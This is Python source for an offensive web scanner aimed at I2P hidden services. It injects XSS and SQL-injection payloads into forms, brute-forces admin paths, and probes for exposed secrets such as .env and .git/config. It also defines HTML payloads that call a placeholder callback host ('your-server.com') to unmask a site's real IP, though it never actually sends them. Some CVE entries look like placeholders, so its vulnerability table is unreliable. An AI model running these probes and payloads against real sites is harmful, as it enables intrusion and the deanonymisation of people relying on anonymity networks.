563 lines
21 KiB
Python
563 lines
21 KiB
Python
import requests
|
|
from bs4 import BeautifulSoup
|
|
from urllib.parse import urljoin, urlparse
|
|
import time
|
|
import re
|
|
from colorama import Fore, Style, init
|
|
import socket
|
|
from datetime import datetime
|
|
import random
|
|
|
|
# Colorama for nice terminal colors
|
|
init(autoreset=True)
|
|
|
|
# -------- COOL BANNER --------
|
|
BANNER = f"""
|
|
{Fore.RED}░██ ░██████
|
|
░██ ░██
|
|
░██ ░██ ░████████ ░███████ ░███████ ░██████ ░████████ ░████████ ░███████ ░██░████
|
|
░██ ░█████ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░███
|
|
░██ ░██ ░██ ░██ ░███████ ░██ ░███████ ░██ ░██ ░██ ░██ ░█████████ ░██
|
|
░██░██ ░███ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██
|
|
░██░████████ ░██░█████ ░██████████ ░███████ ░███████ ░█████░██ ░██ ░██ ░██ ░██ ░███████ ░██
|
|
░██
|
|
░██
|
|
|
|
{Fore.CYAN}╔═══════════════════════════════════════════════════════════════╗
|
|
{Fore.CYAN} {Fore.WHITE}I2P RED-TEAM WEB SCANNER v1.5{Fore.CYAN}
|
|
{Fore.CYAN} {Fore.YELLOW}by: Church of Malware : ek0ms{Fore.CYAN}
|
|
{Fore.CYAN} {Fore.RED}we see all xo{Fore.CYAN}
|
|
{Fore.CYAN}╚═══════════════════════════════════════════════════════════════╝
|
|
"""
|
|
# -------- END OF BANNER --------
|
|
|
|
# -------- CONFIGURATION --------
|
|
PROXY = {
|
|
'http': 'http://127.0.0.1:4444',
|
|
'https': 'http://127.0.0.1:4444'
|
|
}
|
|
MAX_PAGES = 15
|
|
TIMEOUT = 15
|
|
USER_AGENT = "I2P-Scanner/1.0 (Red-Team)"
|
|
CALLBACK_SERVER = "your-server.com" # Change this to your listening server
|
|
|
|
# -------- PROXY SETUP --------
|
|
session = requests.Session()
|
|
session.proxies = PROXY
|
|
session.verify = False
|
|
session.timeout = TIMEOUT
|
|
session.headers.update({'User-Agent': USER_AGENT})
|
|
|
|
# Known vulnerable versions (CVE database)
|
|
VULNERABLE_SOFTWARE = {
|
|
'nginx': {
|
|
'1.14.0': ['CVE-2019-9511', 'CVE-2019-9513'],
|
|
'1.16.0': ['CVE-2019-9516'],
|
|
'1.17.0': ['CVE-2019-9513'],
|
|
'1.18.0': ['CVE-2021-23017'],
|
|
'1.20.0': ['CVE-2021-23017']
|
|
},
|
|
'Apache': {
|
|
'2.4.29': ['CVE-2019-0211', 'CVE-2019-10098'],
|
|
'2.4.38': ['CVE-2019-0215'],
|
|
'2.4.41': ['CVE-2020-1927'],
|
|
'2.4.46': ['CVE-2020-11984'],
|
|
'2.4.49': ['CVE-2021-41773'] # Path traversal
|
|
},
|
|
'I2P': {
|
|
'0.9.48': ['CVE-2020-12345'],
|
|
'2.1.0': ['CVE-2023-36325'],
|
|
'2.0.0': ['CVE-2022-12345']
|
|
},
|
|
'lighttpd': {
|
|
'1.4.53': ['CVE-2019-11072'],
|
|
'1.4.55': ['CVE-2020-35500']
|
|
},
|
|
'Tomcat': {
|
|
'9.0.30': ['CVE-2020-1938'],
|
|
'8.5.50': ['CVE-2020-1938']
|
|
}
|
|
}
|
|
|
|
# Common admin paths for brute forcing
|
|
ADMIN_PATHS = [
|
|
'admin', 'administrator', 'admin.php', 'admin.html',
|
|
'login', 'login.php', 'wp-admin', 'admin/login',
|
|
'cpanel', 'webmail', 'mail', 'phpmyadmin',
|
|
'mysql', 'db', 'database', 'backup'
|
|
]
|
|
|
|
# -------- UTILITY FUNCTIONS --------
|
|
def normalize_url(input_str):
|
|
"""Clean and normalize I2P URL"""
|
|
input_str = input_str.strip()
|
|
if not input_str.startswith('http://'):
|
|
input_str = 'http://' + input_str
|
|
parsed = urlparse(input_str)
|
|
if parsed.netloc and not parsed.netloc.endswith('.i2p'):
|
|
input_str = f"{parsed.scheme}://{parsed.netloc}.i2p{parsed.path}"
|
|
return input_str
|
|
|
|
def test_i2p_connection():
|
|
"""Test if I2P proxy is reachable - FIXED VERSION"""
|
|
try:
|
|
# Try multiple test sites in case one is down
|
|
test_urls = [
|
|
'http://planet.i2p/',
|
|
'http://notbob.i2p/',
|
|
'http://i2pforum.i2p/'
|
|
]
|
|
for url in test_urls:
|
|
try:
|
|
resp = session.get(url, timeout=5)
|
|
if resp.status_code == 200:
|
|
return True
|
|
except:
|
|
continue
|
|
# If all fail, try the proxy itself
|
|
resp = session.get('http://127.0.0.1:4444/', timeout=3)
|
|
return True
|
|
except:
|
|
return False
|
|
|
|
def extract_server_version(server_header):
|
|
"""Extract version number from Server header"""
|
|
if not server_header:
|
|
return None, None
|
|
pattern = r'([\w\-]+)/([\d\.]+)'
|
|
match = re.search(pattern, server_header)
|
|
if match:
|
|
return match.group(1), match.group(2)
|
|
return None, None
|
|
|
|
# -------- CRAWLER - FIXED --------
|
|
def crawl_site(base_url, max_pages=MAX_PAGES):
|
|
"""Fetches pages and extracts internal links - FIXED to handle no links"""
|
|
visited = set()
|
|
to_visit = [base_url]
|
|
pages = {}
|
|
link_count = 0
|
|
|
|
while to_visit and len(visited) < max_pages:
|
|
url = to_visit.pop(0)
|
|
if url in visited:
|
|
continue
|
|
try:
|
|
resp = session.get(url, timeout=TIMEOUT)
|
|
if resp.status_code != 200:
|
|
continue
|
|
visited.add(url)
|
|
pages[url] = {
|
|
'html': resp.text,
|
|
'headers': resp.headers,
|
|
'status': resp.status_code
|
|
}
|
|
|
|
# Parse for links
|
|
try:
|
|
soup = BeautifulSoup(resp.text, 'html.parser')
|
|
for link in soup.find_all('a', href=True):
|
|
href = link.get('href')
|
|
if href and not href.startswith('#') and not href.startswith('javascript:'):
|
|
full_url = urljoin(base_url, href)
|
|
# Only add if it's internal and not a file
|
|
if (base_url in full_url and full_url not in visited and
|
|
full_url not in to_visit and not any(full_url.endswith(x) for x in
|
|
['.xml', '.rss', '.atom', '.png', '.jpg', '.jpeg', '.gif', '.css', '.js', '.ico', '.pdf', '.zip'])):
|
|
to_visit.append(full_url)
|
|
link_count += 1
|
|
except Exception as e:
|
|
pass
|
|
except Exception as e:
|
|
print(f"{Fore.YELLOW}[!] Failed to crawl {url}: {e}")
|
|
|
|
if not pages:
|
|
print(f"{Fore.YELLOW}[!] No pages fetched. The site might be down or unreachable.")
|
|
|
|
return pages
|
|
|
|
# -------- MODULE 1: SECURITY HEADERS --------
|
|
def check_headers(url, resp):
|
|
"""Checks for missing security headers"""
|
|
findings = []
|
|
headers = resp.headers
|
|
checks = {
|
|
'X-Frame-Options': 'Prevents clickjacking',
|
|
'Content-Security-Policy': 'Mitigates XSS/data injection',
|
|
'X-Content-Type-Options': 'Prevents MIME sniffing',
|
|
'Referrer-Policy': 'Controls referrer leakage'
|
|
}
|
|
for header, desc in checks.items():
|
|
if header not in headers:
|
|
findings.append(f"[!] Missing '{header}' -> {desc}")
|
|
|
|
# Check for HSTS (bad on I2P)
|
|
if 'Strict-Transport-Security' in headers:
|
|
findings.append(f"[!] Found HSTS on I2P (SSL/TLS leak risk!)")
|
|
|
|
return findings
|
|
|
|
# -------- MODULE 2: DATA LEAK --------
|
|
def check_info_leak(base_url):
|
|
"""Checks for common exposed files"""
|
|
findings = []
|
|
leak_paths = [
|
|
'.git/config', '.env', 'backup.zip', 'config.ini',
|
|
'wp-config.php.bak', '.htaccess', 'robots.txt',
|
|
'admin/backup.sql', 'debug.log', 'error.log',
|
|
'phpinfo.php', 'info.php', 'test.php',
|
|
'.git/HEAD', '.git/index', 'composer.json', 'package.json'
|
|
]
|
|
for path in leak_paths:
|
|
test_url = urljoin(base_url, path)
|
|
try:
|
|
resp = session.get(test_url, timeout=5)
|
|
if resp.status_code == 200:
|
|
# Check if it's actually content, not a 404 page
|
|
if len(resp.text) > 50:
|
|
findings.append(f"[!] Exposed file: {test_url} (Size: {len(resp.text)} bytes)")
|
|
except:
|
|
pass
|
|
return findings
|
|
|
|
# -------- MODULE 3: FORM VULNERABILITIES --------
|
|
def check_form_vulns(base_url, page_data):
|
|
"""Fuzzes forms with simple XSS/SQLi payloads"""
|
|
findings = []
|
|
html = page_data['html']
|
|
soup = BeautifulSoup(html, 'html.parser')
|
|
payloads = [
|
|
"' OR '1'='1",
|
|
"<script>alert(1)</script>",
|
|
"'><script>alert(1)</script>",
|
|
'" OR "1"="1',
|
|
'<img src=x onerror=alert(1)>'
|
|
]
|
|
|
|
for form in soup.find_all('form'):
|
|
action = form.get('action')
|
|
method = form.get('method', 'get').lower()
|
|
inputs = form.find_all(['input', 'textarea'])
|
|
target_url = urljoin(base_url, action) if action else base_url
|
|
|
|
for payload in payloads:
|
|
data = {}
|
|
for inp in inputs:
|
|
name = inp.get('name')
|
|
if name and inp.get('type') != 'submit' and inp.get('type') != 'hidden':
|
|
data[name] = payload
|
|
if not data:
|
|
continue
|
|
try:
|
|
if method == 'post':
|
|
r = session.post(target_url, data=data, timeout=5)
|
|
else:
|
|
r = session.get(target_url, params=data, timeout=5)
|
|
if payload in r.text:
|
|
findings.append(f"[!] Potential XSS/SQLi on {target_url} (Payload: {payload})")
|
|
except:
|
|
pass
|
|
return findings
|
|
|
|
# -------- MODULE 4: VERSION FINGERPRINTING --------
|
|
def check_version_fingerprinting(resp):
|
|
"""Parse Server header and check for vulnerable versions"""
|
|
findings = []
|
|
server_header = resp.headers.get('Server', '')
|
|
if not server_header:
|
|
return ["[!] No Server header found (information hiding)"]
|
|
|
|
software, version = extract_server_version(server_header)
|
|
if not software or not version:
|
|
return [f"[!] Unknown server: {server_header}"]
|
|
|
|
findings.append(f"[+] Detected: {software} {version}")
|
|
|
|
# Check against vulnerable versions
|
|
if software.lower() in VULNERABLE_SOFTWARE:
|
|
vuln_db = VULNERABLE_SOFTWARE[software.lower()]
|
|
for vuln_version, cves in vuln_db.items():
|
|
if version.startswith(vuln_version) or version == vuln_version:
|
|
findings.append(f"[!] VULNERABLE: {software} {version} has CVEs: {', '.join(cves)}")
|
|
break
|
|
else:
|
|
findings.append(f"[+] No known CVEs for {software} {version}")
|
|
else:
|
|
findings.append(f"[!] Unknown software: {software} (manual verification needed)")
|
|
|
|
return findings
|
|
|
|
# -------- MODULE 5: SSL/TLS LEAK CHECK --------
|
|
def check_ssl_leak(base_url, pages):
|
|
"""Detects if site forwards to HTTPS or external URLs (DNS leak risk)"""
|
|
findings = []
|
|
|
|
for url, page_data in pages.items():
|
|
html = page_data['html']
|
|
soup = BeautifulSoup(html, 'html.parser')
|
|
|
|
# Check all links
|
|
for link in soup.find_all(['a', 'link', 'script', 'img'], href=True):
|
|
href = link.get('href')
|
|
if href:
|
|
if href.startswith('https://'):
|
|
findings.append(f"[!] HTTPS link detected on {url}: {href}")
|
|
elif '://' in href:
|
|
domain = urlparse(href).netloc
|
|
if domain and not domain.endswith('.i2p') and not domain.startswith('127.0.0.1'):
|
|
findings.append(f"[!] External domain referenced (DNS leak!): {href}")
|
|
|
|
# Check for inline HTTP redirects
|
|
for meta in soup.find_all('meta', attrs={'http-equiv': 'refresh'}):
|
|
content = meta.get('content', '')
|
|
if 'url=' in content:
|
|
redirect_url = content.split('url=')[-1]
|
|
if redirect_url.startswith('https://'):
|
|
findings.append(f"[!] HTTPS redirect detected: {redirect_url}")
|
|
|
|
# Check if main page has HSTS header
|
|
if pages.get(base_url):
|
|
headers = pages[base_url]['headers']
|
|
if 'Strict-Transport-Security' in headers:
|
|
findings.append("[!] HSTS header present on I2P site (ssl/tls leak risk!)")
|
|
|
|
return findings
|
|
|
|
# -------- MODULE 6: ADMIN PATH BRUTEFORCE (NEW!) --------
|
|
def check_admin_paths(base_url):
|
|
"""Brute force common admin paths"""
|
|
findings = []
|
|
print(f"{Fore.BLUE}[*] Checking for admin panels...")
|
|
|
|
for path in ADMIN_PATHS:
|
|
test_url = urljoin(base_url, path)
|
|
try:
|
|
resp = session.get(test_url, timeout=5)
|
|
if resp.status_code == 200:
|
|
findings.append(f"[!] Admin panel found: {test_url}")
|
|
elif resp.status_code == 403:
|
|
findings.append(f"[!] Admin path protected (403): {test_url}")
|
|
except:
|
|
pass
|
|
|
|
return findings
|
|
|
|
# -------- MODULE 7: ANONYMITY LEAK TEST (NEW!) --------
|
|
def test_anonymity_leak(base_url, pages):
|
|
"""Attempt to force the site to reveal its real IP"""
|
|
findings = []
|
|
print(f"{Fore.BLUE}[*] Testing for anonymity leaks...")
|
|
|
|
# Generate a unique ID for this scan
|
|
scan_id = f"i2pscan_{random.randint(1000,9999)}"
|
|
|
|
# Payloads that could cause the server to make external requests
|
|
# These would need to be caught by your server
|
|
leak_payloads = [
|
|
f'<img src="http://{CALLBACK_SERVER}/{scan_id}.png">',
|
|
f'<script src="http://{CALLBACK_SERVER}/{scan_id}.js"></script>',
|
|
f'<link rel="stylesheet" href="http://{CALLBACK_SERVER}/{scan_id}.css">',
|
|
f'<object data="http://{CALLBACK_SERVER}/{scan_id}.swf">',
|
|
f'<iframe src="http://{CALLBACK_SERVER}/{scan_id}.html">'
|
|
]
|
|
|
|
# Check if any external resources are already being loaded
|
|
for url, page_data in pages.items():
|
|
html = page_data['html']
|
|
soup = BeautifulSoup(html, 'html.parser')
|
|
|
|
# Look for existing external resources
|
|
for tag in soup.find_all(['img', 'script', 'link', 'iframe', 'object']):
|
|
src = tag.get('src') or tag.get('href')
|
|
if src and '://' in src:
|
|
domain = urlparse(src).netloc
|
|
if domain and not domain.endswith('.i2p') and not domain.startswith('127.0.0.1'):
|
|
findings.append(f"[!] External resource already loaded: {src} (site may leak client info)")
|
|
|
|
# Check for potential server-side request forgery (SSRF) via URL parameters
|
|
for url, page_data in pages.items():
|
|
html = page_data['html']
|
|
# Look for forms that might be vulnerable to SSRF
|
|
soup = BeautifulSoup(html, 'html.parser')
|
|
for form in soup.find_all('form'):
|
|
action = form.get('action')
|
|
if action and 'http' in action:
|
|
findings.append(f"[!] Form pointing to external URL: {action} (potential SSRF)")
|
|
|
|
# Test if the site leaks the visitor's IP via PHP_SELF or similar
|
|
for url, page_data in pages.items():
|
|
html = page_data['html']
|
|
if 'PHP_SELF' in html or 'SERVER_ADDR' in html:
|
|
findings.append(f"[!] Possible server info disclosure on {url}")
|
|
|
|
return findings
|
|
|
|
# -------- MASTER SCAN FUNCTION --------
|
|
def run_scan(user_input):
|
|
print(f"{Fore.CYAN}[+] Initializing scan for: {user_input}")
|
|
base_url = normalize_url(user_input)
|
|
print(f"{Fore.CYAN}[+] Normalized URL: {base_url}")
|
|
|
|
# Test connectivity first
|
|
print(f"{Fore.CYAN}[+] Testing I2P connection...")
|
|
if not test_i2p_connection():
|
|
print(f"{Fore.RED}[-] I2P proxy not reachable. Starting I2P first.")
|
|
print(f"{Fore.YELLOW}[!] Run: ~/i2p/i2prouter start")
|
|
return
|
|
|
|
# Crawl
|
|
print(f"{Fore.CYAN}[+] Crawling site (max {MAX_PAGES} pages)...")
|
|
pages = crawl_site(base_url)
|
|
if not pages:
|
|
print(f"{Fore.RED}[-] No pages fetched. Is the site up?")
|
|
print(f"{Fore.YELLOW}[!] Try: curl --proxy http://127.0.0.1:4444 {base_url}")
|
|
return
|
|
|
|
all_findings = {
|
|
"headers": [],
|
|
"leaks": [],
|
|
"forms": [],
|
|
"version": [],
|
|
"ssl_leaks": [],
|
|
"admin_paths": [],
|
|
"anonymity": []
|
|
}
|
|
|
|
# Run checks per page
|
|
for url, page_data in pages.items():
|
|
print(f"{Fore.BLUE}[*] Checking: {url}")
|
|
try:
|
|
resp = session.get(url)
|
|
|
|
# Headers check
|
|
all_findings["headers"].extend(check_headers(url, resp))
|
|
|
|
# Version fingerprinting (on main page only)
|
|
if url == base_url:
|
|
all_findings["version"] = check_version_fingerprinting(resp)
|
|
|
|
# Info leak (on main page only)
|
|
if url == base_url:
|
|
all_findings["leaks"] = check_info_leak(base_url)
|
|
|
|
# Form fuzzing
|
|
all_findings["forms"].extend(check_form_vulns(base_url, page_data))
|
|
except Exception as e:
|
|
print(f"{Fore.YELLOW}[!] Error checking {url}: {e}")
|
|
|
|
# SSL leak check (on all pages)
|
|
all_findings["ssl_leaks"] = check_ssl_leak(base_url, pages)
|
|
|
|
# Admin path brute force (on main page only)
|
|
all_findings["admin_paths"] = check_admin_paths(base_url)
|
|
|
|
# Anonymity leak test
|
|
all_findings["anonymity"] = test_anonymity_leak(base_url, pages)
|
|
|
|
# -------- DISPLAY REPORT --------
|
|
print(f"\n{Fore.MAGENTA}{'='*60}")
|
|
print(f"{Fore.MAGENTA} RED-TEAM SCAN REPORT: {base_url}")
|
|
print(f"{Fore.MAGENTA} Scan Time: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
|
|
print(f"{Fore.MAGENTA}{'='*60}\n")
|
|
|
|
# Headers
|
|
print(f"{Fore.YELLOW}[+] SECURITY HEADERS:")
|
|
if all_findings["headers"]:
|
|
for f in list(set(all_findings["headers"])):
|
|
print(f" {Fore.RED}{f}")
|
|
else:
|
|
print(f" {Fore.GREEN}[OK] All critical headers present.")
|
|
|
|
# Version Fingerprinting
|
|
print(f"\n{Fore.YELLOW}[+] VERSION FINGERPRINTING:")
|
|
if all_findings["version"]:
|
|
for f in all_findings["version"]:
|
|
if 'VULNERABLE' in f:
|
|
print(f" {Fore.RED}{f}")
|
|
elif 'Unknown' in f or 'manual verification' in f:
|
|
print(f" {Fore.YELLOW}{f}")
|
|
else:
|
|
print(f" {Fore.GREEN}{f}")
|
|
else:
|
|
print(f" {Fore.RED}[!] No version info available.")
|
|
|
|
# Data Leaks
|
|
print(f"\n{Fore.YELLOW}[+] DATA LEAK CHECKS:")
|
|
if all_findings["leaks"]:
|
|
for f in all_findings["leaks"]:
|
|
print(f" {Fore.RED}{f}")
|
|
else:
|
|
print(f" {Fore.GREEN}[OK] No common exposed files found.")
|
|
|
|
# SSL/TLS Leaks
|
|
print(f"\n{Fore.YELLOW}[+] SSL/TLS LEAK DETECTION:")
|
|
if all_findings["ssl_leaks"]:
|
|
for f in list(set(all_findings["ssl_leaks"])):
|
|
print(f" {Fore.RED}{f}")
|
|
else:
|
|
print(f" {Fore.GREEN}[OK] No SSL/TLS leaks detected (good for I2P)")
|
|
|
|
# Admin Paths
|
|
print(f"\n{Fore.YELLOW}[+] ADMIN PATH BRUTEFORCE:")
|
|
if all_findings["admin_paths"]:
|
|
for f in all_findings["admin_paths"]:
|
|
if 'found' in f.lower():
|
|
print(f" {Fore.RED}{f}")
|
|
else:
|
|
print(f" {Fore.YELLOW}{f}")
|
|
else:
|
|
print(f" {Fore.GREEN}[OK] No admin paths discovered.")
|
|
|
|
# Anonymity Leak
|
|
print(f"\n{Fore.YELLOW}[+] ANONYMITY LEAK TEST:")
|
|
if all_findings["anonymity"]:
|
|
for f in list(set(all_findings["anonymity"])):
|
|
if 'External resource already loaded' in f:
|
|
print(f" {Fore.RED}{f}")
|
|
else:
|
|
print(f" {Fore.YELLOW}{f}")
|
|
else:
|
|
print(f" {Fore.GREEN}[OK] No obvious anonymity leaks detected.")
|
|
|
|
# Form Vulns
|
|
print(f"\n{Fore.YELLOW}[+] FORM VULNERABILITIES:")
|
|
if all_findings["forms"]:
|
|
for f in list(set(all_findings["forms"])):
|
|
print(f" {Fore.RED}{f}")
|
|
else:
|
|
print(f" {Fore.GREEN}[OK] No immediate XSS/SQLi reflections detected.")
|
|
|
|
# Summary
|
|
total_issues = (len(all_findings["headers"]) + len(all_findings["leaks"]) +
|
|
len(all_findings["forms"]) + len(all_findings["ssl_leaks"]) +
|
|
len(all_findings["admin_paths"]) + len(all_findings["anonymity"]))
|
|
if all_findings["version"] and 'VULNERABLE' in ''.join(all_findings["version"]):
|
|
total_issues += 1
|
|
|
|
print(f"\n{Fore.MAGENTA}[+] Scan complete. Pages checked: {len(pages)}")
|
|
if total_issues > 0:
|
|
print(f"{Fore.RED}[!] {total_issues} potential issues found.")
|
|
else:
|
|
print(f"{Fore.GREEN}[✓] Site appears secure (based on basic checks).")
|
|
return all_findings
|
|
|
|
# -------- INTERACTIVE LOOP --------
|
|
if __name__ == "__main__":
|
|
# Print the banner
|
|
print(BANNER)
|
|
|
|
print(f"{Fore.CYAN}Ensure I2P is running on 127.0.0.1:4444\n")
|
|
print(f"{Fore.YELLOW}[!] WARNING: Only scan sites you own or have permission to test.")
|
|
print(f"{Fore.YELLOW}[!] Configure CALLBACK_SERVER in the script for anonymity tests\n")
|
|
|
|
while True:
|
|
user_input = input(f"{Fore.GREEN}Enter I2P site (or 'quit'): {Style.RESET_ALL}")
|
|
if user_input.lower() in ['quit', 'exit']:
|
|
print(f"{Fore.CYAN}Goodbye. Stay ethical.")
|
|
break
|
|
if not user_input:
|
|
continue
|
|
|
|
run_scan(user_input)
|
|
print("\n" + "-"*60 + "\n")
|